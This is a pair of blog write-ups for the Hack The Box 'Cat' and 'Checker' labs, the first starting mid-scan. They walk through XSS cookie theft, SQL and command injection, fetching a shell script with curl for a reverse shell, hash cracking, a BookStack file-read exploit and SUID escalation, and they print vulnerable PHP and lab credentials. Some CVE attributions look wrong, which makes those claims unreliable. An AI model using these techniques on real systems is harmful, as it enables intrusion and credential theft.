|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:05:33 2025 -- 1 IP address (1 host up) scanned in 7.38 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 on Ubuntu 4ubuntu0.11 risks remote code execution if unpatched (e.g., CVE-2021-28041).
  • Port 80 (HTTP): Apache 2.4.41, vulnerable to path traversal (CVE-2021-41773), redirects to cat.htb, hinting at virtual host misconfigurations.

Web Enumeration:

Perform directory fuzzing to uncover hidden files and directories.

gobuster dir -u http://cat.htb -w /opt/common.txt

Let’s perform directory enumeration with Gobuster to identify any potentially useful resources.

Gobuster Output:

Web Path Discovery (Gobuster):

  • /.git Directory: Exposed Git repository risks source code leakage, revealing sensitive data like credentials or application logic.
  • /admin.php, /join.php, and Other Paths: Discovered sensitive endpoints may lack authentication, enabling unauthorised access or privilege escalation.

The website features a typical interface with user registration, login, and image upload functionalities, but the presence of an exposed .git directory and accessible admin endpoints indicate significant security vulnerabilities.

Git Repository Analysis with git-dumper

Utilised the git-dumper tool to clone the exposed Git repository by executing the command git-dumper http://cat.htb/.git/ git. Subsequently, employed a Git extraction tool to retrieve critical source code files, including join.php, admin.php, and accept_cat.php, for further analysis.

Within the cloned Git repository, several PHP files were identified, meriting further examination for potential vulnerabilities or insights.

Source Code Analysis and Review on Cat Machine

Source Code Review of accept_cat.php

The accept_cat.php file is intended to let the admin user 'axel' Accept a cat by inserting its name into the accepted_cats table and deleting the corresponding entry from the cats table. The script correctly verifies the user’s session and restricts actions to POST requests, which is good practice. However, it constructs the insertion SQL query by directly embedding the $cat_name variable without any sanitisation or use of prepared statements:

$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

This exposes the application to SQL injection attacks, as malicious input in catName could manipulate the query and compromise the database. On the other hand, the deletion query is properly parameterised, reducing risk. To secure the script, the insertion should also use prepared statements with bound parameters. Overall, while session checks and request validation are handled correctly, the insecure insertion query represents a critical vulnerability in accept_cat.php.

Vulnerability Review of admin.php

This admin page lets the user β€˜axel’ manage cats by viewing, accepting, or rejecting them. It correctly checks if the user is logged in as β€˜axel’ before allowing access and uses prepared statements to fetch cat data from the database safely. The cat details are displayed with proper escaping to prevent cross-site scripting attacks.

However, the page sends AJAX POST requests to accept_cat.php and delete_cat.php without any protection against Cross-Site Request Forgery (CSRF). This means an attacker could potentially trick the admin into performing actions without their consent. Also, based on previous code, the accept_cat.php script inserts data into the database without using prepared statements, which can lead to SQL injection vulnerabilities.

To fix these issues, CSRF tokens should be added to the AJAX requests and verified on the server side. Additionally, all database queries should use prepared statements to ensure user input is handled securely. While the page handles session checks and output escaping well, the missing CSRF protection and insecure database insertion are serious security concerns.

Security Audit of view_cat.php

The view_cat.php script restricts access to the admin user 'axel' and uses prepared statements to safely query the database, preventing SQL injection. However, it outputs dynamic data such as cat_name, photo_path, age, birthdate, weight, username, and created_at directly into the HTML without escaping. This creates a Cross-Site Scripting (XSS) vulnerability because if any of these fields contain malicious code, it will execute in the admin’s browser.

The vulnerable code includes:

Cat Details: <?php echo $cat['cat_name']; ?>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
</code>

To mitigate this, all output should be passed through htmlspecialchars() to encode special characters and prevent script execution. Additionally, validating the image src attribute is important to avoid loading unsafe or external resources. Without these measures, the page remains vulnerable to XSS attacks.

Input Validation Analysis of join.php

The provided PHP code is vulnerable to several security issues, primarily due to improper input handling and weak security practices. Below is an explanation of the key vulnerabilities, followed by the relevant code snippets:

  1. Cross-Site Scripting (XSS): The code outputs $success_message and $error_message without sanitisation, making it susceptible to XSS attacks. User inputs (e.g., $_GET['username'], $_GET['email']) are directly echoed, allowing malicious scripts to be injected.
<?php if ($success_message != ""): ?>
   <div class="message"><?php echo $success_message; ?></div>
   <?php endif; ?>
   <?php if ($error_message != ""): ?>
   <div class="error-message"><?php echo $error_message; ?></div>
   <?php endif; ?>
  1. Insecure Password Storage: Passwords are hashed using MD5 (md5($_GET['password'])), which is cryptographically weak and easily cracked.
$password = md5($_GET['password']);
  1. SQL Injection Risk: While prepared statements are used, the code still processes unsanitized $_GET inputs, which could lead to other injection vulnerabilities if not validated properly.
  2. Insecure Data Transmission: Using $_GET for sensitive data like passwords, exposing them in URLs risks interception.

To mitigate these, use htmlspecialchars() for output, adopt secure hashing (e.g., password_hash()), validate inputs, and use $_POST for sensitive data.

Workflow Evaluation of contest.php

The PHP code for the cat contest registration page has multiple security flaws due to weak input handling and poor security practices. Below are the key vulnerabilities with relevant code snippets:

Cross-Site Scripting (XSS): The $success_message and $error_message are output without sanitization, enabling reflected XSS attacks via crafted POST inputs (e.g., cat_name=<script>alert(β€˜XSS’)</script>).

<?php if ($success_message): ?>
    <div class="message"><?php echo $success_message; ?></div>
<?php endif; ?>
<?php if ($error_message): ?>
    <div class="error-message"><?php echo $error_message; ?></div>
<?php endif; ?>
  • Weak Input Validation: The regex (/[+*{}’,;<>()\\[\\]\\/\\:]/) in contains_forbidden_content is too permissive, allowing potential XSS or SQL injection bypasses.
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
  • Insecure File Upload: The file upload trusts getimagesize and uses unsanitized basename($_FILES[β€œcat_photo”][β€œname”]), risking directory traversal or malicious file uploads.
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);

To mitigate, sanitize outputs with htmlspecialchars(), use stricter input validation (e.g., FILTER_SANITIZE_STRING), sanitize file names, restrict upload paths, and validate file contents thoroughly.

User Registration and Login

Clicking the contest endpoint redirects to the join page, which serves as the registration page.

Let’s create a new account by completing the registration process.

The registration process was completed successfully, confirming that new user accounts can be created without errors or restrictions.

Logging in with the credentials we created was successful.

After a successful login, the contest page is displayed as shown above.

Let’s complete the form and upload a cat photo as required.

Successfully submitted the cat photo for inspection.

Exploiting XSS to Steal Admin Cookie for Cat Machine

Initialise the listener.

Injected a malicious XSS payload into the username field.

Let’s create a new account by injecting malicious XSS code into the Username field while keeping all other inputs valid.

Let’s fill out the form with normal inputs as before.

The process may take a few seconds or minutes, depending on the response time. I have attempted multiple times to ensure it works successfully.

Used Firefox Dev Tools to set the cookie and gain access to admin features

Once we obtain the token hash, we need to copy and paste it into Firefox’s inspector to proceed further.

After that, simply refresh the page, and you will notice a new β€œAdmin” option has appeared in the menu bar.

Clicking the Admin option in the menu bar redirects us to the page shown above.

Click the accept button to approve the submitted picture.

Leveraging XSS Vulnerability to Retrieve Admin Cookie for Cat Machine

Used Burp Suite to analyze POST requests.

Use Burp Suite to examine network packets for in-depth analysis.

Test the web application to determine if it is vulnerable to SQL injection attacks.

Attempting to inject the SQL command resulted in an β€œaccess denied” error, likely due to a modified or invalid cookie.

SQL Injection and Command Execution

After reconstructing the cookie, the SQL injection appears to function as anticipated.

Successfully executed command injection.

We can use the curl command to invoke the malicious file and execute it. The fact that it’s hanging is promising, indicating potential success.

It was observed that bash.sh has been transferred to the victim’s machine.

Success! A shell was obtained as the www-data user.

Database Enumeration

It’s unusual to find cat.db while searching for the database file.

Transfer the SQL file to our local machine.

We discovered that cat.db is a SQLite 3.x database.

sqlite3 cat.db opens the cat.db file using the SQLite command-line tool, allowing you to interact with the databaseβ€”run queries, view tables, and inspect its contents.

The cat.db database contains three tables: accepted_cats, cats, and users, which likely stores approved cat entries, general cat data, and user information, respectively.

Immediate cracking is possible for some obtained hashes.

The screenshot shows the hashes after I rearranged them for clarity.

Breaking Password Security: Hashcat in Action

We need to specify the hash mode, which in this case could be MD5.

We successfully cracked the hash for the user Rosa, revealing the password: soyunaprincesarosa.

Boom! We successfully gained access using Rosa’s password.

The access.log file reveals the password for Axel.

The user Axel has an active shell account.

The credentials for Axel, including the password, were verified successfully.

Access is achievable via either pwncat-cs or SSH.

Executing the appropriate command retrieves the user flag.

Escalate to Root Privileges Access on Cat Machine

Privilege Escalation

The Axel user does not have sudo privileges on the cat system.

Email Analysis

We can read the message sent from Rosa to Axel.

The emails are internal updates from Rosa about two upcoming projects. In the first message, Rosa mentions that the team is working on launching new cat-related web services, including a site focused on cat care. Rosa asks Axel to send details about his Gitea project idea to Jobert, who will evaluate whether it’s worth moving forward with. Rosa also notes that the idea should be clearly explained, as she plans to review the repository herself. In the second email, Rosa shares that they’re building an employee management system. Each department admin will have a defined role, and employees will be able to view their tasks. The system is still being developed and is hosted on their private Gitea platform. Rosa includes a link to the repository and its README file, which has more information and updates. Both emails reflect early planning stages and call for team involvement and feedback.

Checking the machine’s open ports reveals that port 3000 is accessible.

Therefore, we need to set up port forwarding for port 3000.

Gitea Exploitation on Cat Machine

A screenshot of a computer

AI-generated content may be incorrect.

The service running on port 3000 is the Gitea web interface.

A screenshot of a login screen

AI-generated content may be incorrect.

Using Axel’s credentials, we successfully logged in.

Gitea service is running version 1.22.0, which may contain specific features and known vulnerabilities relevant for further evaluation.

Start the Python server to serve files or host a payload for the next phase of the assessment.

Inject the XSS payload as shown above.

The fake email is sent to the user jobert to test the functionality.

Obtained a base64-encoded cookie ready for decoding.

The decoded cookie appears to contain the username admin.

Edit the file within the Gitea application.

Obtained the token as shown above.

A screenshot of a computer screen

AI-generated content may be incorrect.
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

This PHP script enforces HTTP Basic Authentication by verifying the client’s username and password against predefined valid credentials: the username β€œadmin” and the password β€œIKw75eR0MR7CMIxhH0.” Upon receiving a request, the script checks for authentication headers and validates them. If the credentials are missing or incorrect, it responds with a 401 Unauthorised status and prompts the client to authenticate within the β€œEmployee Management” realm.

The password discovered grants root access and functions as an administrator password on Windows machines.

Executing the appropriate command retrieves the root flag.

The post Hack The Box: Cat Machine Walkthrough – Medium Diffculity appeared first on Threatninja.net.

Hack The Box: Checker Machine Walkthrough – Hard Difficulty

By: darknite
31 May 2025 at 10:58
Reading Time: 10 minutes

Introduction to Checker:

In this write-up, we will explore the β€œChecker” machine from Hack The Box, categorised as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective of Checker:

The goal of this walkthrough is to complete the β€œChecker” machine from Hack The Box by achieving the following objectives:

User Flag:

We exploited CVE-2023-1545 in the Teampass application to extract password hashes and cracked them to obtain credentials for the user β€œbob.” These credentials allowed access to both the BookStack web application and SSH. We then exploited CVE-2023-6199 in BookStack to read the OTP secret for the SSH user β€œreader,” enabling successful login and retrieval of the user flag.

Root Flag:

We discovered that the β€œreader” user had sudo privileges to run a script that interacted with shared memory. By analysing the script behaviour and injecting a command into the shared memory segment, we were able to set the SUID bit on /bin/bash. This grants root privileges, allowing us to read the root flag

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.56

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/checker]
└──╼ $nmap -sV -sC -oA initial 10.10.11.56 
# Nmap 7.94SVN scan initiated Thu May 29 00:05:33 2025 as: nmap -sV -sC -oA initial 10.10.11.56
Nmap scan report for 10.10.11.56
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 29 00:06:28 2025 -- 1 IP address (1 host up) scanned in 55.98 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.9p1 is running, providing secure remote shell access. This is typical for administrative management over the network.
  • Port 80 (HTTP): Apache web server is active but responds with a 403 Forbidden status, indicating that access to the root web directory is denied or restricted.
  • Port 8080 (HTTP): Another instance of Apache is running on this alternative HTTP port, also returning a 403 Forbidden response, which could hint at restricted access to a secondary web application or interface.

Web Enumeration on Checker machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://checker.htb:8080 -w /opt/raft-small-directories-lowerrcase.txt

Gobuster Output:

During the enumeration process, we observed that the server returns a 403 Forbidden status code along with a consistent response length (199 bytes) for URLs that do not exist. This uniform response can interfere with the accurate detection of valid endpoints, as it mimics the behaviour of non-existent pages. To proceed effectively, we should configure our tool to exclude responses with this status code or length to reduce false positives.

Analysis:

During the enumeration phase, more than 20 directories were discovered, although only a portion is listed here due to space limitations. Each of the directories responded with a 429 status code, indicating the server is applying rate-limiting measures, likely to deter aggressive or automated scanning. Some of the identified directories, such as /app, /report, /store, and /db could potentially relate to application logic, data storage, or admin interfaces. This behaviour suggests the underlying application might be sensitive to traffic volume, so further inspection should be paced to avoid triggering additional restrictions.

A screenshot of a computer

AI-generated content may be incorrect.

Accessing the website via 10.10.11.56 redirects us to the domain β€˜checker.htbβ€˜.

A screenshot of a computer

AI-generated content may be incorrect.

We discovered that the application in use is BookStack. Unfortunately, we didn’t have any valid credentials to log in to BookStack at this stage.

What is BookStack?

BookStack is a free and open-source platform used to create and manage documentation or internal knowledge bases. Think of it like a digital bookshelf where each book contains pages of organised information. Teams or companies commonly use it to store guides, manuals, and notes in a user-friendly way, similar to how you’d organise content in a physical notebook, but online and searchable.

On port 8080, we were presented with the Teampass login page.

What is TeamPass?

Teampass is a web-based password management system designed for teams and organisations. It helps securely store and share login credentials, such as usernames and passwords, in a single, central location. Instead of keeping sensitive information in unprotected files or messages, Teampass allows team members to access and manage passwords through a secure, organised interface. This makes collaboration safer and more efficient, especially when multiple people need access to the same accounts or systems.

To gain a better understanding of the Teampass application, we analysed its source code available on GitHub.

One of the files caught my attention and warranted a deeper analysis.

This script is a setup routine for Teampass, designed to run when the application first starts. It checks if the Teampass code has already been initialised (by looking for a .git folder). If not, it pulls the necessary files from a remote repository, prepares directories needed for logs and encryption keys, and sets file permissions so the web server (nginx) can use them. Then, it checks if the main configuration file exists. If the file is missing, the script prompts the user to open Teampass in a web browser to complete the setup. Finally, it hands over control to start the application.

Another file that caught our attention is readme.md, which reveals the version of Teampass being usedβ€”version 3.

So, let’s investigate any exploits or vulnerabilities related to Teampass version 3.

Exploitation

Exploitation of CVE-2023-1545 in the Teampass Application

We can download the source code from GitHub onto our machine.

Additional reference: Snyk Security Advisory – SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612, which provides detailed information regarding the identified vulnerability in the Teampass application.

I renamed the file to poc.py and executed it, which revealed usernames along with their hashes.

We need to specify the appropriate hash mode.

After some time, we successfully retrieved the passwords from the hashes, including one for the user β€œbob” with the hash $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy, which corresponded to the password β€œcheerleader.”

Let’s use the credentials we discovered earlier to log in to Teampass.

A screenshot of a computer

AI-generated content may be incorrect.

There is access for the user β€œbob,” which allows login to both BookStack and SSH.

For BookStack, the login details are username bob@checker.htb with the password mYSeCr3T_w1kI_P4sSw0rD.

A screenshot of a computer

AI-generated content may be incorrect.

For SSH access, the username is reader and the password is hiccup-publicly-genesis.

We attempted to access the system as Bob via SSH, but the login failed with the error message: β€œOperation not permitted” while writing the config.

BookStack Enumeration

A screenshot of a login screen

AI-generated content may be incorrect.

Let’s log into the BookStack dashboard using the Bob credentials we obtained earlier.

A screenshot of a computer

AI-generated content may be incorrect.

The book contains three essays, including one titled β€œBasic Backup with cp” that provides a file path. Since this machine is played with other players, I also noticed additional files like β€œExploit,” β€œaaa,” and β€œHTML” under the recently viewed section.

A screenshot of a computer

AI-generated content may be incorrect.

The other two articles do not contain any important information. This script seems significant because the destination path is unusual, and often the author hides clues in such details.

#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

A version number is indicated in the URL:

http://checker.htb/dist/app.js?version=v23.10.2

Exploiting CVE-2023-6199 in BookStack v23.10.2: Leveraging Blind SSRF for Local File Read

We can obtain the source code from here.

Navigate to BookStack and create a new draft page as a Bob user.

Use Burp Suite to intercept the HTTP request when saving the draft page.

In Burp Suite, change the intercepted request body to x-www-form-urlencoded format instead of JSON

The intercepted request will appear in JSON format, similar to the screenshot above

Exploiting PHP Filter Chain Oracle to Read Arbitrary Files

We need to retrieve a copy of the script and save it to our local machine for further analysis.

We can execute the script shown earlier.

The screenshot above displays the result of the executed command.

The code shown above is the original version.

Include the following commands into the script:

import base64
encoded_data = base64.b64encode(filter_chain.encode('utf-8'))
encoded_string = encoded_data.decode('utf-8')
encoded_string = "<img src='data:image/png;base64,{}'>".format(encoded_string)
merged_data = { "name": "dark", "html": encoded_string }

It works because we successfully retrieved the contents of the /etc/passwd file.

We retrieved the TOTP authentication secret stored within the Google Authenticator.

We extracted the OTP from the script above, noting that it is time-sensitive and expires quickly.

A computer screen with green text

AI-generated content may be incorrect.

However, it still did not succeed.

Let’s use ntpdate to synchronise the system time.

A computer screen with numbers and text

AI-generated content may be incorrect.

You can view the user flag by running the command cat user.txt.

Escalate to Root Privileges Access on the checker machine

Privilege Escalation:

Review and confirm the sudo permissions granted to the reader user.

A computer screen with green text

AI-generated content may be incorrect.

This small script is like a set of instructions for the computer. It starts by loading some hidden settings needed to run properly. Then, it takes a username given by the user, cleans it up to make sure it only contains letters and numbers (to avoid any strange or harmful characters), and finally runs a program called β€œcheck_leak” using that cleaned username. Essentially, it’s a way to safely check something related to that user on the system.

When we run /opt/hash-checker/check-leak.sh using sudo, it shows an error saying that the <USER> argument was not given.

Supplying β€œreader” as the user caused the script to return an error indicating the user is not found in the database.

When specifying β€œbob” as the user, the script revealed that the password was exposed.

A computer screen with green and blue text

AI-generated content may be incorrect.

The /bin/bash binary does not have the SUID permission set.

A screen shot of a computer code

AI-generated content may be incorrect.

The script sets the /bin/bash binary with the SUID permission.

You can view the root flag by running the command cat root.txt.

The post Hack The Box: Checker Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

❌
❌